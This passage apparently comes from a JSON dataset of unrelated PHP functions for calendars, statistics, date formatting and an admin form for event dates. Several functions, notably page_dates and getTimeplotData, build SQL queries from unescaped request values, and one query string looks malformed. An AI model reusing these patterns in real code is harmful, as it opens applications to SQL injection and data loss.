\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\t\n\t\t\t\t\t\t//echo \"Hold file: \" . $fileList[0] . \"\\n\";\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Datei aus Array entfernen\n\t\t\t\t\tarray_shift($fileList);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn 1;\n\t}",
"function liste_evenements($id_agenda, $T_debut_periode, $T_fin_periode, $journee_order_by=true, $type_sortie=\"lecture\")\r\n{\r\n\t////\tPériode simple : début dans la période || fin dans la période || debut < periode < fin\r\n\t$date_debut\t\t= strftime(\"%Y-%m-%d %H:%M:00\", $T_debut_periode);\r\n\t$date_fin\t\t= strftime(\"%Y-%m-%d %H:%M:59\", $T_fin_periode);\r\n\t$sql_periode\t= \"((T1.date_debut between '\".$date_debut.\"' and '\".$date_fin.\"') OR (T1.date_fin between '\".$date_debut.\"' and '\".$date_fin.\"') OR (T1.date_debut < '\".$date_debut.\"' and T1.date_fin > '\".$date_fin.\"'))\";\r\n\t////\tPériodicité des événements : type périodicité spécifié && debut déjà commencé && fin pas spécifié/arrivé && date pas dans les exceptions && périodicité jour/semaine/mois/annee\r\n\t$period_date_fin = strftime(\"%Y-%m-%d\", $T_fin_periode);\r\n\t$date_ymd\t\t= strftime(\"%Y-%m-%d\", $T_debut_periode);\r\n\t$jour_semaine\t= str_replace(\"0\",\"7\",strftime(\"%w\",$T_debut_periode)); // de 1 à 7 (lundi à dimanche)\r\n\t$mois\t\t\t= strftime(\"%m\",$T_debut_periode); // mois de l'annee en numérique => 01 à 12\r\n\t$jour_mois\t\t= strftime(\"%d\",$T_debut_periode); // jour du mois en numérique => 01 à 31\r\n\t$jour_annee\t\t= strftime(\"%m-%d\", $T_debut_periode);\r\n\t$periodicite\t= \"(T1.periodicite_type is not null AND T1.date_debut<'\".$date_debut.\"' AND (T1.period_date_fin is null or '\".$period_date_fin.\"'<=T1.period_date_fin) AND (T1.period_date_exception is null or period_date_exception not like '%\".$date_ymd.\"%') AND ((T1.periodicite_type='jour_semaine' and T1.periodicite_valeurs like '%\".$jour_semaine.\"%') OR (T1.periodicite_type='jour_mois' and T1.periodicite_valeurs like '%\".$jour_mois.\"%') OR (T1.periodicite_type='mois' and T1.periodicite_valeurs like '%\".$mois.\"%' and DATE_FORMAT(T1.date_debut,'%d')='\".$jour_mois.\"') OR (T1.periodicite_type='annee' and DATE_FORMAT(T1.date_debut,'%m-%d')='\".$jour_annee.\"')))\";\r\n\t////\tRécupère la liste des evenements ($order_by_sql==\"heure_debut\" si on récup les évenements d'1 jour, pour pouvoir bien intégrer les evenements récurents)\r\n\t$order_by_sql = ($journee_order_by==true) ? \"DATE_FORMAT(T1.date_debut,'%H')\" : \"T1.date_debut\";\r\n\t$liste_evenements_tmp = db_tableau(\"SELECT T1.* FROM gt_agenda_evenement T1, gt_agenda_jointure_evenement T2 WHERE T1.id_evenement=T2.id_evenement AND T2.id_agenda='\".intval($id_agenda).\")' AND T2.confirme='1' AND (\".$sql_periode.\" OR \".$periodicite.\") ORDER BY \".$order_by_sql.\" asc\");\r\n\r\n\t////\tCree le tableau de sortie (en ajoutant le droit d'accès, masquant les libellés si besoin, etc.)\r\n\tglobal $objet;\r\n\t$liste_evenements = array();\r\n\tforeach($liste_evenements_tmp as $key_evt => $evt_tmp)\r\n\t{\r\n\t\t$droit_acces = droit_acces($objet[\"evenement\"], $evt_tmp, false);\r\n\t\tif($type_sortie==\"tout\" || ($type_sortie==\"lecture\" && $droit_acces>0))\r\n\t\t{\r\n\t\t\t// Ajoute l'evenement au tableau de sortie avec son droit d'accès\r\n\t\t\t$liste_evenements[$key_evt] = $evt_tmp;\r\n\t\t\t$liste_evenements[$key_evt][\"droit_acces\"] = $droit_acces;\r\n\t\t\t// masque les détails si besoin : \"evt public mais détails masqués\"\r\n\t\t\tif($type_sortie==\"lecture\") $liste_evenements[$key_evt] = masque_details_evt($liste_evenements[$key_evt]);\r\n\t\t}\r\n\t}\r\n\treturn $liste_evenements;\r\n}",
"function date_modif_manuelle_autoriser() {\n}",
"private function getStatistik() {\n $SHOW_DAYS = 365;\n self::$today = new DateTime();\n $resultHtml = \"\";\n\n // Jetzt Berechnungen pro Budget:\n $budgets = Persistence::getInstances(\"BUD\", \"name\", false);\n $werte = array();\n $jahre = array();\n $budgetNames = array();\n $budgetAmount = array();\n foreach ($budgets as $budget) {\n $budgetName = $budget->getProperty(\"name\", \"unbekannt\");\n $budgetNames[\"\" . $budgetName] = \"$budgetName\";\n $budgetZeitraum = $budget->getProperty(\"zeitraum\", \"\") == \"\" ? \"\" : \" \" . $budget->getProperty(\"zeitraum\", \"\");\n $budgetAmount[\"\" . $budgetName] = $budget->getProperty(\"btotal\", \"\") . $budgetZeitraum;\n if (!isset($werte[\"$budgetName\"])) {\n $werte[\"$budgetName\"] = array();\n }\n $instances = Persistence::getInstances(\"ARB\", \"datum\", false, $budget->getId(), true);\n $resultData = array();\n foreach ($instances as $instance) {\n $h = $instance->getProperty(ARB::PROPERTY_STUNDEN, 0);\n $kaz = $instance->getProperty(ARB::PROPERTY_KAZ, 0);\n list($tag, $monat, $jahr) = explode(\".\", $instance->getProperty(ARB::PROPERTY_DATUM, \"01.01.1800\"));\n if ($jahr >= \"2017\") {\n $jahre[\"\" . $jahr] = \"\" . \"$jahr\";\n if (!isset($werte[\"$budgetName\"][\"\" . $jahr])) {\n $werte[\"$budgetName\"][\"\" . $jahr][\"Jahr\"] = 0;\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"] = array();\n }\n if (!isset($werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat])) {\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat] = 0;\n }\n $wert = $kaz != \"\" && $h != \"\" ? ($kaz > $h ? $kaz : $h) : ($kaz != \"\" ? $kaz : ($h != \"\" ? $h : 0));\n $werte[\"$budgetName\"][\"\" . $jahr][\"monate\"][\"\" . $monat] += $wert;\n $werte[\"$budgetName\"][\"\" . $jahr][\"Jahr\"] += $wert;\n }\n }\n }\n ksort($jahre);\n $monatWerte = array();\n $jahresWerte = array();\n foreach ($budgetNames as $budgetName) {\n $budgetWert[$budgetName] = array();\n foreach ($jahre as $jahr) {\n foreach (array(\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\") as $monat) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n if (!self::isOlder($jahr, $monat, $SHOW_DAYS)) {\n $monatWerte[$budgetName][$jahr . \"\"][\"\" . $monat] = 0;\n }\n }\n $jahresWerte[$budgetName][$jahr . \"\"] = 0;\n }\n }\n foreach ($werte as $budgetName => $jahrWerte) {\n foreach ($jahrWerte as $jahr => $jahrUndMonatWerte) {\n $jahresWerte[$budgetName][$jahr . \"\"] = $jahrUndMonatWerte[\"Jahr\"];\n foreach ($jahrUndMonatWerte[\"monate\"] as $monat => $wert) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n if (!self::isOlder($jahr, $monat, $SHOW_DAYS)) {\n $monatWerte[$budgetName][\"\" . $jahr][\"\" . $monat] = $wert;\n }\n }\n }\n }\n\n // Summen über alle ARB Instanzen berechnen (Budget unabhaengig, da ARB Instanzen\n // mehreren Budgets gleichzeitig zugeordnet sein koennen\n $monatSumme = array();\n $jahrSumme = array();\n foreach ($jahre as $jahr) {\n foreach (array(\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\") as $monat) {\n // Monatswerte nur fuer die letzten 365 Tage aufnehmen:\n $monatSumme[\"$jahr-$monat\"] = 0;\n }\n $jahrSumme[\"$jahr\"] = 0;\n }\n $arbInstances = Persistence::getInstances(\"ARB\", \"datum\", false, \"\", true);\n foreach ($arbInstances as $instance) {\n $h = $instance->getProperty(ARB::PROPERTY_STUNDEN, 0);\n list($tag, $monat, $jahr) = explode(\".\", $instance->getProperty(ARB::PROPERTY_DATUM, \"01.01.1800\"));\n if ($jahr >= 2017 && is_numeric($h)) {\n $jahrSumme[\"$jahr\"] += $h;\n $monatSumme[\"$jahr-$monat\"] += $h;\n }\n }\n\n // Darstellung:\n $table = \"<table>\";\n foreach ($monatWerte as $budgetName => $jahrWerte) {\n $table .= \"<tr><td>Budget</td><td style='width: 90px;'>Max</td>\";\n foreach ($jahrWerte as $jahr => $monate) {\n foreach ($monate as $monat => $wert) {\n $table .= \"<td>\" . $monat . \"/\" . ($jahr - 2000) . \"</td>\";\n }\n }\n foreach ($jahresWerte[$budgetName] as $jahr => $wert) {\n $table .= \"<td>$jahr</td>\";\n }\n break;\n }\n $table .= \"</tr>\";\n\n $trclass = \"odd\";\n foreach ($monatWerte as $budgetName => $jahrWerte) {\n $trclass = $trclass == \"odd\" ? \"even\" : \"odd\";\n $strong = \"\";\n foreach (array(\"#022\", \"#028\", \"#030\", \"#034\", \"#039\", \"400059\", \"412622\") as $s) {\n if (strpos($budgetName, $s) !== false) {\n $strong = \"strong\";\n }\n }\n $tr = \"<tr class='$trclass $strong'><td><span title='$budgetName'><span style='padding-right: 20px;'>\" . substr($budgetName, 0, 80) . \"</span></td>\";\n $tr .= \"<td>\" . $budgetAmount[\"\" . $budgetName] . \"</td>\";\n foreach ($jahrWerte as $jahr => $monate) {\n foreach ($monate as $monat => $wert) {\n // fuer unproduktive auch die % darstellen:\n $prozentm= (stripos($budgetName, \"unproduktiv\") !== false && $monatSumme[\"$jahr-$monat\"] > 0) ? round(($wert / $monatSumme[\"$jahr-$monat\"]) * 100, 0) . \"%\" : \"\";\n $title = \"$prozentm = $wert/\" . $monatSumme[\"$jahr-$monat\"] . \" h @ \";\n $title .= \"$jahr-$monat: $budgetName\";\n $tr .= \"<td title='$title' style='width: 60px;'>$wert<br><strong>$prozentm</strong></td>\";\n }\n }\n foreach ($jahresWerte[$budgetName] as $jahr => $wert) {\n // fuer unproduktive auch die % darstellen:\n $prozent = $jahrSumme[\"$jahr\"] > 0 ? round((($wert / $jahrSumme[\"$jahr\"]) * 100), 1) . \"%\" : \"\";\n $title = (stripos($budgetName, \"unproduktiv\") !== false ? \"$prozent = $wert/\" . $jahrSumme[\"$jahr\"] . \" h\" : \"\");\n $text = $title == \"\" ? \"\" : \"<br><strong>$prozent</strong>\";\n $tr .= \"<td title='$title' style='width: 80px;'>$wert$text</td>\";\n }\n $tr .= \"</tr>\";\n $table .= \"$tr\";\n }\n $table .= \"</table>\";\n\n return \"$table\";\n }",
"function visites_pre_traitement($prev_visites) {\r\n\r\n\t# pour page hier\r\n\tif (!is_array($prev_visites)) {\r\n\t\treturn;\r\n\t}\r\n\r\n\t$temps = $prev_visites[0];\r\n\t$visites = $prev_visites[1];\r\n\t$visites_a = $prev_visites[2];\r\n\r\n\tif (count($temps)) {\r\n\t\tsort($temps);\r\n\t}\r\n\r\n\t$aff = '';\r\n\tif ($nb_articles = count($visites_a)) {\r\n\t\t$heure_f = date('H\\hi', $temps[0]);\r\n\t\t$date_f = date('d/m/Y', $temps[0]);\r\n\r\n\t\t$aff .= \"<div align='center' class='iconeoff verdana2 bold' style='clear:both;'>\\n\"\r\n\t\t\t. _T('actijour:depuis_date_visites_pg',\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'heure' => $heure_f,\r\n\t\t\t\t\t'date' => $date_f == date('d/m/Y') ? '' : '(' . $date_f . ')',\r\n\t\t\t\t\t'nb_visite' => $visites,\r\n\t\t\t\t\t'nb_articles' => $nb_articles\r\n\t\t\t\t))\r\n\t\t\t. \"\\n</div>\\n\";\r\n\t}\r\n\r\n\treturn $aff;\r\n}",
"function getTimeplotData($id) {\n \t\t\n\t\t$sql = \"SELECT first_insertion, to_call_back, init_contact, still_exist, deleted, contacted, date FROM mp_statistique WHERE motif_ID = '$id' ORDER BY date ASC\";\n\t\t$sel = mysql_query($sql);\n\n while ($stat = mysql_fetch_array($sel)) {\n \t\n\t\t\t$current = $stat['to_call_back'] + $stat['init_contact'] + $stat['still_exist'] + $stat['first_insertion'];\n $inserted = $stat['first_insertion'];\n $deleted = $stat['deleted'];\n $date = $stat['date'];\n $contacted = $stat['contacted'];\n \n echo \"$date,$current,$inserted,$deleted,$contacted\\n\";\n \n \n }\n\n }",
"function getEstadisticaDetallado() {\n\t\tglobal $mdb2;\n\t\tglobal $log;\n\t\tglobal $current_usuario_id;\n\t\tglobal $usr;\n\n\t\t# Variables para eventos especiales marcados por el cliente codigo 9.\n\t\t$event = new Event;\n\t\t$usr = new Usuario($current_usuario_id);\n\t\t$usr->__Usuario();\n\t\t$graficoSvg = new GraficoSVG();\n\n\n\t\t$timeZoneId = $usr->zona_horaria_id;\n\t\t$arrTime = Utiles::getNameZoneHor($timeZoneId); \t\t\n\t\t$timeZone = $arrTime[$timeZoneId];\n\t\t$tieneEvento = 'false';\n\t\t$arrayDateStart = array();\t\t\n\t\t$nameFunction = 'EstadisticaDet';\n\t\t$data = null;\n\t\t$ids = null;\n\n\t\t/* TEMPLATE DEL GRAFICO */\n\t\t$T =& new Template_PHPLIB(($this->extra[\"imprimir\"])?REP_PATH_PRINTTEMPLATES:REP_PATH_TABLETEMPLATES);\n\t\t$T->setFile('tpl_tabla', 'comparativo_resumen.tpl');\n\t\t$T->setBlock('tpl_tabla', 'BLOQUE_TITULO_HORARIOS', 'bloque_titulo_horarios');\n\t\t$T->setBlock('tpl_tabla', 'ES_PRIMERO_MONITOR', 'es_primero_monitor');\n\t\t$T->setBlock('tpl_tabla', 'ES_PRIMERO_TOTAL', 'es_primero_total');\n\t\t$T->setBlock('tpl_tabla', 'LISTA_PASOS', 'lista_pasos');\n\t\t$T->setBlock('tpl_tabla', 'BLOQUE_TABLA', 'bloque_tabla');\n\n\t\t$T->setVar('__item_orden', $this->extra[\"item_orden\"]);\n\t\t# Variables para mantenimiento.\n\t\t$T->setVar('__path_jquery_ui', REP_PATH_JQUERY_UI);\n\t\n\t\t$horarios = array($usr->getHorario($this->horario_id));\n\t\tif ($this->horario_id != 0) {\n\t\t\t$horarios[] = $usr->getHorario(0);\n\t\t}\n\n\t\t$orden = 1;\n\t\t$T->setVar('bloque_titulo_horarios', '');\n\t\tforeach ($horarios as $horario) {\n\n\t\t\t/* OBTENER LOS DATOS Y PARSEARLO */\n\t\t\t$sql = \"SELECT * FROM reporte.comparativo_resumen_parcial(\".\n\t\t\t\t\tpg_escape_string($current_usuario_id).\",\".\n\t\t\t\t\tpg_escape_string($this->objetivo_id).\", \".\n\t\t\t\t\tpg_escape_string($horario->horario_id).\",' \".\n\t\t\t\t\tpg_escape_string($this->timestamp->getInicioPeriodo()).\"', '\".\n\t\t\t\t\tpg_escape_string($this->timestamp->getTerminoPeriodo()).\"')\";\n\t\t\t$res =& $mdb2->query($sql);\n// \t\t\tprint($sql);\n\t\t\tif (MDB2::isError($res)) {\n\t\t\t\t$log->setError($sql, $res->userinfo);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t$row = $res->fetchRow();\n\t\t\t$dom = new DomDocument();\n\t\t\t$dom->preserveWhiteSpace = false;\n\t\t\t$dom->loadXML($row[\"comparativo_resumen_parcial\"]);\n\t\t\t$xpath = new DOMXpath($dom);\n\t\t\tunset($row[\"comparativo_resumen_parcial\"]);\n\n\t\t\tif ($xpath->query('//detalle[@paso_orden]/estadisticas/estadistica')->length == 0) {\n\t\t\t\t$this->resultado = $this->__generarContenedorSinDatos();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$conf_objetivo = $xpath->query('/atentus/resultados/propiedades/objetivos/objetivo')->item(0);\n\t\t\t$conf_pasos = $xpath->query(\"paso[@visible=1]\", $conf_objetivo);\n\t\t\t$conf_nodos = $xpath->query('//nodos/nodo');\n\n\t\t\tif(count($horarios) > 1) {\n\t\t\t\t$T->setVar('__item_horario', $this->extra[\"item_orden\"]);\n\t\t\t\t$T->setVar('__horario_orden', $orden);\n\t\t\t\t$T->setVar('__horario_nombre',$horario->nombre);\n\t\t\t\t$T->parse('bloque_titulo_horarios', 'BLOQUE_TITULO_HORARIOS', false);\n\t\t\t}\n\n\t\t\t\n\t\t\t# Obtención de los eventos especiales marcados por el cliente\n\t\t\tforeach ($xpath->query(\"/atentus/resultados/detalles_marcado/detalle/marcado\") as $tag_marcado) {\n\t\t\t$ids = $ids.','.$tag_marcado->getAttribute('mantenimiento_id');\n\t\t\t$marcado = true;\n\t\t\t}\t\t\n\t\t\t\n\t\t\t# Verifica que exista marcado evento cliente.\n\t\t\tif ($marcado == true) {\n\n\t\t\t\t$dataMant = $event->getData(substr($ids, 1), $timeZone);\n\t\t\t\t$character = array(\"{\", \"}\");\n\t\t\t\t$objetives = explode(',',str_replace($character,\"\",($dataMant[0]['objetivo_id'])));\n\t\t\t\t$tieneEvento = 'true';\n\t\t\t\t$encode = json_encode($dataMant);\n\t\t\t\t$nodoId = (string)0;\n\t\t\t\t$T->setVar('__tiene_evento', $tieneEvento);\n\t\t\t\t$T->setVar('__name', $nameFunction);\n\n\t\t\t}\n\n\t\t\t/* LISTA DE MONITORES */\n\t\t\t$linea = 1;\n\t\t\t$T->setVar('lista_pasos', '');\n\t\t\tforeach($conf_nodos as $conf_nodo) {\n\t\t\t\t$primero = true;\n\t\t\t\t$tag_nodo = $xpath->query('//detalle[@nodo_id='.$conf_nodo->getAttribute('nodo_id').']/estadisticas/estadistica')->item(0);\n\n\t\t\t\t/* LISTA DE PASOS */\n\t\t\t\tforeach($conf_pasos as $conf_paso) {\n\t\t\t\t\t$tag_dato = $xpath->query('//detalle[@nodo_id='.$conf_nodo->getAttribute('nodo_id').']/detalles/detalle[@paso_orden='.$conf_paso->getAttribute('paso_orden').']/estadisticas/estadistica')->item(0);\n\t\t\t\t\tif($tag_dato != null) {\n\t\t\t\t\t\t$T->setVar('__print_class', ($linea % 2 == 0)?\"celdaIteracion2\":\"celdaIteracion1\");\n\t\t\t\t\t\t$T->setVar('__class', ($linea % 2 == 0)?\"celdanegra15\":\"celdanegra10\");\n\n\t\t\t\t\t\t$T->setVar('es_primero_monitor', '');\n\t\t\t\t\t\t$T->setVar('es_primero_total', '');\n\t\t\t\t\t\tif ($primero) {\n\t\t\t\t\t\t\t$T->setVar('__monitor_nombre', $conf_nodo->getAttribute('nombre'));\n\t\t\t\t\t\t\t$T->setVar('__monitor_rowspan', $conf_pasos->length);\n\t\t\t\t\t\t\t$T->setVar('__monitor_total_monitoreo', $tag_nodo->getAttribute('cantidad'));\n\t\t\t\t\t\t\t$T->parse('es_primero_monitor', 'ES_PRIMERO_MONITOR', false);\n\t\t\t\t\t\t\t$T->parse('es_primero_total', 'ES_PRIMERO_TOTAL', false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$T->setVar('__paso_nombre', $conf_paso->getAttribute(\"nombre\"));\n\t\t\t\t\t\t$T->setVar('__paso_minimo', number_format($tag_dato->getAttribute('tiempo_min'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_maximo', number_format($tag_dato->getAttribute('tiempo_max'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_promedio', number_format($tag_dato->getAttribute('tiempo_prom'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_uptime', number_format($tag_dato->getAttribute('uptime'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_downtime', number_format($tag_dato->getAttribute('downtime'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_no_monitoreo', number_format($tag_dato->getAttribute('sin_monitoreo'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_evento_especial', number_format($tag_dato->getAttribute('marcado_cliente'), 3, ',', ''));\n\n\t\t\t\t\t\t$T->parse('lista_pasos', 'LISTA_PASOS', true);\n\t\t\t\t\t\t$primero = false;\n\t\t\t\t\t\t$linea++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$T->parse('bloque_tabla', 'BLOQUE_TABLA', true);\n\t\t\t$orden++;\n\t\t}\n\t\t$this->tiempo_expiracion = (strtotime($xpath->query(\"//fecha_expiracion\")->item(0)->nodeValue) - strtotime($xpath->query(\"//fecha\")->item(0)->nodeValue));\n\t\t$this->resultado = $T->parse('out', 'tpl_tabla');\n\n\t\t# Agrega el acordeon cuando existan eventos.\n\t\tif (count($dataMant)>0){\n\t\t\t$this->resultado.= $graficoSvg->getAccordion($encode,$nameFunction);\n\t\t}\n\t\treturn $this->resultado;\n\t}",
"function agenda_date_debut_liste($date, $affichage_debut = 'date_jour') {\n\tswitch ($affichage_debut) {\n\t\tcase 'date_jour':\n\t\t\tbreak;\n\t\tcase 'date_veille':\n\t\t\t$date = agenda_jourdecal($date, -1);\n\t\t\tbreak;\n\t\tcase 'debut_semaine':\n\t\t\t$t = strtotime($date);\n\t\t\t$date = agenda_jourdecal($date, -(date('N', $t)-1));\n\t\t\tbreak;\n\t\tcase 'debut_semaine_prec':\n\t\t\t$t = strtotime($date);\n\t\t\t$date = agenda_jourdecal($date, -(date('N', $t)-1+7));\n\t\t\tbreak;\n\t\tcase 'debut_mois':\n\t\t\t$t = strtotime($date);\n\t\t\t$date = agenda_jourdecal($date, -(date('j', $t)-1));\n\t\t\tbreak;\n\t\tcase 'debut_mois_prec':\n\t\t\t$t = strtotime($date);\n\t\t\t$date = agenda_jourdecal($date, -(date('j', $t)-1)); // debut de mois\n\t\t\t$date = agenda_moisdecal($date, -1); // precedent\n\t\t\tbreak;\n\t\tcase 'debut_mois_1':\n\t\tcase 'debut_mois_2':\n\t\tcase 'debut_mois_3':\n\t\tcase 'debut_mois_4':\n\t\tcase 'debut_mois_5':\n\t\tcase 'debut_mois_6':\n\t\tcase 'debut_mois_7':\n\t\tcase 'debut_mois_8':\n\t\tcase 'debut_mois_9':\n\t\tcase 'debut_mois_10':\n\t\tcase 'debut_mois_11':\n\t\tcase 'debut_mois_12':\n\t\t\t$t = strtotime($date);\n\t\t\t$mdebut = intval(substr($affichage_debut, strlen('debut_mois_')));\n\t\t\t$mcourant = date('n', $t);\n\t\t\t$offset = ($mcourant-$mdebut+12)%12;\n\t\t\t$date = agenda_jourdecal($date, -(date('j', $t)-1)); // debut de mois\n\t\t\t$date = agenda_moisdecal($date, -$offset);\n\t\t\tbreak;\n\t}\n\treturn $date;\n}",
"function sortDateAscending($thisFiles) {\n \tusort($thisFiles, \"cmpDA\");\n \treturn $thisFiles;\n }",
"function fuelleProgramme($daten = array() )\n{\n // muss nach DatenZusammenfassen aufgerufen werden\n global $Artikelarten;\n $daten['PROGRAMMDATUM'] = array();\n $daten['PROGRAMMUHRZEIT'] = array();\n $daten['PROGRAMMINHALT'] = array();\n $daten['PROGRAMMKOSTEN'] = 0;\n if ( ! is_array($daten['ZARTIKELNR']) ) return $daten;\n\n $programm1 = array();\n $programm2 = array();\n foreach ( $daten['ZARTIKELNR'] as $key => $artikelnr )\n {\n if ( is_numeric($artikelnr) )\n {\n if ( $daten['ZART'][$key] == $Artikelarten[CVJMART_PROGRAMM] )\n {\n $daten['PROGRAMMKOSTEN'] = AddPreis($daten['PROGRAMMKOSTEN'], $daten['ZGESAMT'][$key]);\n // Oberkategorie feststellen\n $bereichid = holeArtikelParentID($artikelnr);\n $programm = getOrtsname($bereichid);\n $datum = explode(' ',$daten['ZDATUM'][$key]);\n $tag = explode('.',$datum[0]);\n $zeit = explode(':',$datum[1]);\n $programm1[] = mktime($zeit[0],$zeit[1],0,$tag[1],$tag[0],$tag[2]);\n $programm2[] = $programm.': '.$daten['ZBEZEICHNUNG'][$key];\n }\n }\n }\n array_multisort($programm1, SORT_NUMERIC, $programm2);\n reset($programm1);\n foreach ( $programm1 as $key => $value )\n {\n $daten['PROGRAMMDATUM'][] = date('d.m.Y',$value);\n if ( date('H:i',$value) != '00:00')\n $daten['PROGRAMMUHRZEIT'][] = date('H:i',$value);\n else\n $daten['PROGRAMMUHRZEIT'][] = '';\n $daten['PROGRAMMINHALT'][] = $programm2[$key];\n }\n $daten['PROGRAMMKOSTEN'] = Preis($daten['PROGRAMMKOSTEN']);\n return $daten;\n}",
"public function get_date_permastruct()\n {\n }",
"function ritorna_data_attuale() {\n\t$tz = 'Europe/Rome';\n\t$format='d/m/Y H:i:s'; // Formato Italiano\n $retData='';\n//\n// DO NOT EDIT ANYTHING BELOW THIS LINE!\n//\n\tdate_default_timezone_set($tz);\n\t$retData = date($format);\n\treturn($retData);\n}",
"protected function getListActivity()\n {\n $arrAtividade = $this->getService('OrdemServico\\Service\\AtividadeFile')\n ->fetchPairs(array(), 'getIdAtividade', 'getCodigoAtividadeDescricao', array('co_atividade' => 'asc'));\n natcasesort($arrAtividade);\n return $arrAtividade;\n }",
"function page_dates() {\r\n \t\tglobal $admin_lang, $extern_action, $extern_sure, $extern_topic, $extern_date, $extern_place, $extern_id, $_SERVER, $actual_user_id, $actual_user_showname;\r\n\t\t\r\n\t\tif(!isset($extern_action))\r\n\t\t\t$extern_action = '';\r\n\t\t\r\n\t\t$out = \"\\t\\t\\t<h3>\" . $admin_lang['dates'] . \"</h3><hr />\\r\\n\";\r\n\t\t\r\n\t\t//\r\n\t\t// delete the selected entrie\r\n\t\t//\r\n\t\tif($extern_action == \"delete\") {\r\n\t\t\tif(isset($extern_sure)) {\r\n\t\t\t\t\t\t\t\r\n\t\t\t\tif($extern_sure == 1)\r\n\t\t\t\t\tdb_result(\"DELETE FROM \" . DB_PREFIX . \"dates WHERE date_id=\" . $extern_id);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$result = db_result(\"SELECT * FROM \" . DB_PREFIX . \"dates WHERE date_id=\" . $extern_id);\r\n\t\t\t\t$row = mysql_fetch_object($result);\r\n\t\t\t\t$out .= \"Den News Eintrag "\" . $row->date_topic . \"" wirklich löschen?<br />\r\n\t\t\t<a href=\\\"admin.php?page=dates&action=delete&id=\" . $extern_id . \"&sure=1\\\" title=\\\"Wirklich Löschen\\\">ja</a> \r\n\t\t\t<a href=\\\"admin.php?page=dates\\\" title=\\\"Nicht Löschen\\\">nein</a>\";\r\n\t\t\t\r\n\t\t\t\treturn $out;\r\n\t\t\t}\r\n\t\t}\r\n\t\t//\r\n\t\t// add a new entrie\r\n\t\t//\r\n\t\telseif($extern_action == \"new\") {\r\n\t\t\tif($extern_topic != \"\" && $extern_place != \"\" && $extern_date != \"\") {\r\n\t\t\t\t$date = explode(\".\", $extern_date);\r\n\t\t\t\tdb_result(\"INSERT INTO \".DB_PREFIX.\"dates (date_topic, date_place, date_date, date_creator) VALUES ('\".$extern_topic.\"', '\".$extern_place.\"', '\".mktime(0, 0, 0, $date[1], $date[0], $date[2]).\"', '$actual_user_id')\");\r\n\t\t\t}\t\r\n\t\t}\r\n\t\t//\r\n\t\t// update the selected entrie\r\n\t\t//\r\n\t\telseif($extern_action == \"update\") { \r\n\t\t\tif($extern_topic != \"\" && $extern_place != \"\" && $extern_date != \"\" && $extern_id != 0) {\r\n\t\t\t\t$date = explode(\".\", $extern_date);\r\n\t\t\t\tdb_result(\"UPDATE \".DB_PREFIX.\"dates SET date_topic= '\".$extern_topic.\"', date_place= '\".$extern_place.\"', date_date='\".mktime(0, 0, 0, $date[1], $date[0], $date[2]).\"' WHERE date_id=\".$extern_id);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif($extern_action != \"edit\") {\r\n\t\t\t$out .= \"\\t\\t\\t<form method=\\\"post\\\" action=\\\"admin.php\\\">\r\n\t\t\t\t<input type=\\\"hidden\\\" name=\\\"page\\\" value=\\\"dates\\\" />\r\n\t\t\t\t<input type=\\\"hidden\\\" name=\\\"action\\\" value=\\\"new\\\" />\r\n\t\t\t\t<table>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['date'] . \": <span class=\\\"info\\\">Dies ist das Datum, an dem die Veranstaltung stattfindet (Format: TT.MM.YYYY, Beispiel: 05.11.2005)</span></td>\r\n\t\t\t\t\t\t<td><input type=\\\"text\\\" name=\\\"date\\\" maxlength=\\\"10\\\" value=\\\"\\\" /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['location'] . \": <span class=\\\"info\\\">Gemeint ist hier der Ort an welchem die Veranstaltung stattfindet.</span></td>\r\n\t\t\t\t\t\t<td><input type=\\\"text\\\" name=\\\"place\\\" maxlength=\\\"60\\\" value=\\\"\\\" /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>\" . $admin_lang['topic'] . \": <span class=\\\"info\\\">Dies ist die Beschreibung des Termins</span></td>\r\n\t\t\t\t\t\t<td><input type=\\\"text\\\" name=\\\"topic\\\" maxlength=\\\"150\\\" /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Eingelogt als \" . $actual_user_showname . \" </td><td><input type=\\\"submit\\\" class=\\\"button\\\" value=\\\"Senden\\\" /> <input type=\\\"reset\\\" class=\\\"button\\\" value=\\\"Zurücksetzen\\\" /></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</table>\r\n\t\t\t\t<br />\r\n\t\t\t</form>\\r\\n\";\r\n\t\t}\r\n\t\t\t$out .= \"\\t\\t\\t<form method=\\\"post\\\" action=\\\"admin.php\\\">\r\n\t\t\t\t<input type=\\\"hidden\\\" name=\\\"page\\\" value=\\\"dates\\\" />\r\n\t\t\t\t<input type=\\\"hidden\\\" name=\\\"action\\\" value=\\\"update\\\" 